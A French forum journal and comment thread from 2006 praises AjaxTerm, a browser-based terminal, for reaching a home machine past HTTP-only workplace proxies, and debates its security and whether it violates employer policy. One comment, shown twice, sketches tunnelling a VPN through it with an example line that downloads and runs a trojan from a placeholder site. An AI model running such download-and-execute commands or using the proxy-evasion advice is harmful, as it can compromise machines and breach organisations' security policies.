Journal : Un émulateur de terminal en AJAX...
Posté par Slainer (Jabber id, page perso, ) le 29 mai 2006
Sûrement il vous est déjà arrivé de vouloir vous connecter à votre machine Linux depuis un ordinateur au boulot/université/cybercafé/etc... et vous rendre compte que celui-ci se trouve derrière un proxy qui n'autorise que l'HTTP/HTTPS... impossible d'utiliser votre accès SSH dans ces conditions...
Pire encore, l'ordi sous Zindoz est tout bridé et n'autorise aucun bidouillage/installation de logiciels... vous n'avez acces qu'à un pauvre navigateur...
Tout n'est pas perdu ! J'ai trouvé le petit programme ultime : AjaxTerm ! Comme son nom l'indique il s'agit ni plus ni moins d'un émulateur de terminal en Ajax... et ecrit en Python en plus..!
C'est totalement redoutable tellement c'est simple et ca marche. Il suffit de lancer le script, et hop, directement de n'importe ou dans le monde on peut acceder a un terminal de sa machine directement depuis le navigateur, sans aucune installation nécessaire... Excellentissime et ultra pratique...
Bien sur, comme le site l'indique, le mieux reste de se générer un certificat SSL et d'utiliser ajaxterm en HTTPs... et c'est parfait et "secure" :).
Le site : http://antony.lesuisse.org/qweb/trac/wiki/AjaxTerm
Pire encore, l'ordi sous Zindoz est tout bridé et n'autorise aucun bidouillage/installation de logiciels... vous n'avez acces qu'à un pauvre navigateur...
Tout n'est pas perdu ! J'ai trouvé le petit programme ultime : AjaxTerm ! Comme son nom l'indique il s'agit ni plus ni moins d'un émulateur de terminal en Ajax... et ecrit en Python en plus..!
C'est totalement redoutable tellement c'est simple et ca marche. Il suffit de lancer le script, et hop, directement de n'importe ou dans le monde on peut acceder a un terminal de sa machine directement depuis le navigateur, sans aucune installation nécessaire... Excellentissime et ultra pratique...
Bien sur, comme le site l'indique, le mieux reste de se générer un certificat SSL et d'utiliser ajaxterm en HTTPs... et c'est parfait et "secure" :).
Le site : http://antony.lesuisse.org/qweb/trac/wiki/AjaxTerm
> Lire le journal (45 commentaires, moyenne: 2,9).
Vous avez demandé le commentaire #717162.



"secure"
sûr ?
«La faculté de citer est un substitut commode à l'intelligence» — Sommerset Maugham
[^]Re: "secure"
En https, configuré pour n'accepter que ton certificat, c'est pas mal, oui.
Maintenant, le problème de ces solutions "VPN-like" (et je met ssh dedans) c'est qu'on ouvre un pont entre deux réseaux qui n'étaient pas faits pour travailler ensemble à la base. Donc c'est un bon moyen pour les virus de passer et de s'étendre : en gros, si une machine est compromise, il est relativement aisé de compromettre l'autre. Tu as donc intérêt à être sûr de tes deux machines.
Sans compter que tu outrepasse la politique de sécurité de ton entreprise et que suivant comment elles sont, tu peux te retrouver à la porte pour avoir fait un truc pareil.
[^]Re: "secure"
je pense que la question portait plus sur le barbarisme/anglicisme que sur le côté sécurité...
en même temps ta réponse est bonne, donc je "pertinentise" !
[^]Re: "secure"
Se faire virer?? l'entreprise n'autorise pas le port 22 sur son proxy mais autorise le http et https. Toi, utilisateur lambda, tu utilise une connexion https pour te connecteur sur ton propre serveur web, qui celà dit en passant est un serveur public comme un autre. En quoi est ce illégal vis à vis de la charte de l'entreprise?
Si on te permets de surfer en https, je ne pense pas qu'on puisse te virer au motif que tu le fait pour te connecter sur un serveur si peu différent de n'importe quel autre... A ce moment là autant te virer dès que tu visite n'importe site web en ajax, ou n'importe quel webmail (le principe dans la théorie est le meme, appli tournant sur un serveur web permettant de te connecter sur le port pop ou imap de la-dite machine).
Bref, j'y crois pas trop.
Ubuntu is an ancient african word meaning : "I can't configure Debian".
[^]Re: "secure"
Si la charte de ton entreprise dit un truc du genre "l'accès internet sur les postes de l'entreprise est réservé à un usage strictement professionnel", ben je suis pas sur que te connecter a ta box pour faire de l'IRC, lire tes mails | logs, lancer tes aptitude upgrade |emerge world ou mater un divx avec aaxine rentre dans cette catégorie.
J'ai bossé dans une centre de recherche français à la sécurité paranoïaque ou l'usage d'un webmail depuis le réseau interne était strictement interdit.
[^]Re: "secure"
Mater un divx avec aaxine en passant par une console ajax, voila qui mérite d'être essayé... Mais pas nécessairement depuis le boulot :-P
[ Répondre ] Ce commentaire est-il impertinent ou utile ?
[^]Re: "secure"
Ce n'est pas si simple.
La jurisprudence sur ce sujet est clair. A partir du moment ou un outil technique est fourni aux salariés, l'usage privé est toléré, et ne peux en aucun cas être motif de licenciement. Sauf si ça nuit de manière avéré à ton travail. C'est la même chose pour le téléphone ou pour la messagerie électronique.
Maintenant, détourner l'usage d'un outil de manière illicite, en mettant en danger la sécurité de l'entreprise, peut être considéré comme une faute grave et alors entrainer un licenciement. Mais il va falloir le prouver et argumenter.
[^]Re: "secure"
Il me semble que c'est le coté "utilisation urgente et ponctuelle" qui est tolérée de facto. Ensuite la charte informatique est la pour dicter ce qui est (ou non) toléré par l'entreprise, et celles qu'il m'a été donné de lire stipulent justement qu'elles respectent la loi et permettent les utilisations ponctuelles et urgentes.
Par exemple l'entreprise ne pourra pas te mettre a la porte si tu passe des coups de fil privés parceque ton gosse est malade, t'es à découvert et t'appelle ton banquier, ... c'est le caractère de nécéssité qui prévaut.
Si le but c'est de travailler sur des affaires personnelles depuis le boulot en se loggant sur ta machine de la maison, ... faudra prouver le "ponctuel" et "urgent" :-)
[^]Re: "secure"
Moi je pense que tu ne peux être viré pour ça (usage privé) sauf si il y a un tord avéré pour l'entreprise (genre introduction d'un virus).
Par contre là où je bosse, c'est plus simple, ils ne te virent pas, ils te retirent l'accès internet.
[^]Re: "secure"
Mais comme on ne nous permet pas de surfer, meme en https...
En general, internet est accessible en tant qu'outil de travail. Se connecter chez soi n'est a priori pas pour le travail. Et si c'etait quand meme pour le travail, l'employeur doit permettre une connexion directe entre le boulot et chez soi. Pas besoin d'ajaxterm dans ce cas. Et si l'employeur refuse, bah c'est simple, vous vous passez de l'outil, et l'employeur assume la perte de temps et la baisse de qualite de votre boulot. On n'a pas rien sans rien.
Enfin, en "surfant" avec ajaxterm, vous risquez de vous faire remarquer surtout parce que vous passez du temps dessus au lieu de bosser pour l'employeur. C'est pas bien du tout.
De plus, ajaxterm est un intermediaire entre deux reseaux, qui insere donc des failles dans les protections du systeme d'information de l'entreprise. Si un probleme survenait dans ce systeme d'information, vous et votre ajaxterm seriez probablement reperes et la, c'est a la discretion de l'employeur...
Le bonjour chez vous,
Yves
[^]Re: "secure"
> De plus, ajaxterm est un intermediaire entre deux reseaux, qui insere donc des failles dans les protections du systeme d'information de l'entreprise.
Vous vous êtes passez le mot ou c'est un effet de mode que de sortir des ânerie pareilles sans réfléchir ?
[^]Re: "secure"
Je me permets de me répondre à moi-même avec mon autorisation : ce n'est pas un effet de mode et ce n'est pas le passage de mot non plus, c'est juste que je répondais deux fois à la même personne /o\
[^]Re: "secure"
> le problème de ces solutions "VPN-like" (et je met ssh dedans) c'est qu'on ouvre un pont entre deux réseaux qui n'étaient pas faits pour travailler ensemble à la base.
Un réseau connecté à Internet est un réseau "fait pour se connecter ensemble à la base" par définition. Internet est un réseau auquel on ne connecte pas un autre réseau s'il n'est pas fait "pour se connecter ensemble à la base". Si un réseau doit être ultra-méga-top-sécurisé parce qu'il n'est pas "fait pour se connecter ensemble à la base", la solution est simple : on débranche le câble Internet. Et je caricature à peine. Par ailleurs, AjaxTerm n'a strictement rien à voir avec un VPN : là on parle de HTTP (non connecté par définition), d'échange de sortie d'écran et de saisies clavier. De là à dire que ça correspond à un VPN du style SSH ...
> Donc c'est un bon moyen pour les virus de passer et de s'étendre : en gros, si une machine est compromise, il est relativement aisé de compromettre l'autre. Tu as donc intérêt à être sûr de tes deux machines.
AjaxTerm est simple : l'entrée standard est envoyée chez toi, la sortie standard est retournée dans ton navigateur. Comment veux-tu qu'un virus se propage ? Ok, tu vas me répondre que s'il existe un virus sous Linux qui arrive à obtenir les droits pour exploiter juste AjaxTerm/Apache pour qu'il envoie une capture spécialement conçue qui exploite un faille du navigateur pour qu'il exécute un code malicieux qui exploite une faille du système d'exploitation pour obtenir droits privilégiés pour exploiter tout le réseau d'entreprise (et évidemment le monde) ... Bien que techniquement, ce ne soit pas impossible, la probabilité d'un tel scénario est si insignifiante que même un cafard mérite plus d'attention. Et surtout, prendre en compte un tel scénario sous prétexte de sécurité, c'est aussi sérieux que souscrire à une assurance tout risque en cas d'explosion de notre galaxie.
> Sans compter que tu outrepasse la politique de sécurité de ton entreprise et que suivant comment elles sont, tu peux te retrouver à la porte pour avoir fait un truc pareil.
En utilisant un navigateur Web ? À la rigueur, l'argument comme quoi des applications comme AjaxTerm génèrent du trafic potentiellement coûteux et/ou gênant pour l'entreprise et cela à des fins non professionnelles peut largement et facilement être utilisé pour lourder l'employé. Pas besoin d'aller se ridiculiser avec une violation de la sécurité de l'entreprise parce qu'il a normalement utilisé un navigateur Web mis à disposition par l'entreprise.
[^]Re: "secure"
> Par ailleurs, AjaxTerm n'a strictement rien à voir avec un VPN : là on parle de
> HTTP (non connecté par définition), d'échange de sortie d'écran et de saisies
> clavier. De là à dire que ça correspond à un VPN du style SSH ...
... il n'y a qu'un pas !
Techniquement, c'est compliqué à implémenter, mais théoriquement, ça ne pose pas de difficulté. Tu écris un programme, disons A, qui se comporte comme un navigateur du point de vue du serveur AjaxTerm, mais non interactif. A envoie quelques commandes pour lancer un demon B sur le serveur qui fait tourner AjaxTerm (genre "wget http://mon-site.com/mon-troyen; ./mon-troyen"). Le petit démon B en question peut être un sshd à peine modifié, pour recevoir ses ordres dans stdin et envoyer les données par stdout. Ton programme A se comporte alors comme un client ssh, et B comme le serveur ssh, et tu peux implémenter tout ce que tu faisais avec ssh à travers ton AjaxTerm (avec des performances lamentables, mais bon), y compris le forward de port.
Bref, tu peux très bien implémenter un VPN over AjaxTerm.
Par contre, si la machine avec AjaxTerm est compromise, à priori, ça ne lui donne aucun moyen de compromettre le client.
[^]Re: "secure"
> Techniquement, c'est compliqué à implémenter, mais théoriquement, ça ne pose pas de difficulté. Tu écris un programme, disons A, qui se comporte comme un navigateur du point de vue du serveur AjaxTerm, mais non interactif. A envoie quelques commandes pour lancer un demon B sur le serveur qui fait tourner AjaxTerm
Dans ce cas, AjaxTerm n'est pas une menace pour le réseau de l'entreprise : c'est ton programme A qui peut l'être. D'ailleurs ton programme A peut directement se connecter sur ta machine distante sans AjaxTerm et il peut permettre l'échange efficace de données. On est loin d'AjaxTerm là ...
[^]Re: "secure"
> c'est ton programme A qui peut l'être.
Là, on parle de sécurité. Le programme A, ça peut très bien être un virus ou n'importe quoi que tu ne controles pas.
> D'ailleurs ton programme A peut directement se connecter sur ta machine distante sans AjaxTerm
Ben, là, il est question de contourner les politiques de sécurité, les VPN, toussa, donc, non, le programme A, il ne peut pas se connecter directement.
(hint: google, firewall, proxy, et revient en parler un peu après si tu veux).
[+] [^]Re: "secure"
> Par ailleurs, AjaxTerm n'a strictement rien à voir avec un VPN : là on parle de
> HTTP (non connecté par définition), d'échange de sortie d'écran et de saisies
> clavier. De là à dire que ça correspond à un VPN du style SSH ...
... il n'y a qu'un pas !
Techniquement, c'est compliqué à implémenter, mais théoriquement, ça ne pose pas de difficulté. Tu écris un programme, disons A, qui se comporte comme un navigateur du point de vue du serveur AjaxTerm, mais non interactif. A envoie quelques commandes pour lancer un demon B sur le serveur qui fait tourner AjaxTerm (genre "wget http://mon-site.com/mon-troyen; ./mon-troyen"). Le petit démon B en question peut être un sshd à peine modifié, pour recevoir ses ordres dans stdin et envoyer les données par stdout. Ton programme A se comporte alors comme un client ssh, et B comme le serveur ssh, et tu peux implémenter tout ce que tu faisais avec ssh à travers ton AjaxTerm (avec des performances lamentables, mais bon), y compris le forward de port.
Bref, tu peux très bien implémenter un VPN over AjaxTerm.
Par contre, si la machine avec AjaxTerm est compromise, à priori, ça ne lui donne aucun moyen de compromettre le client.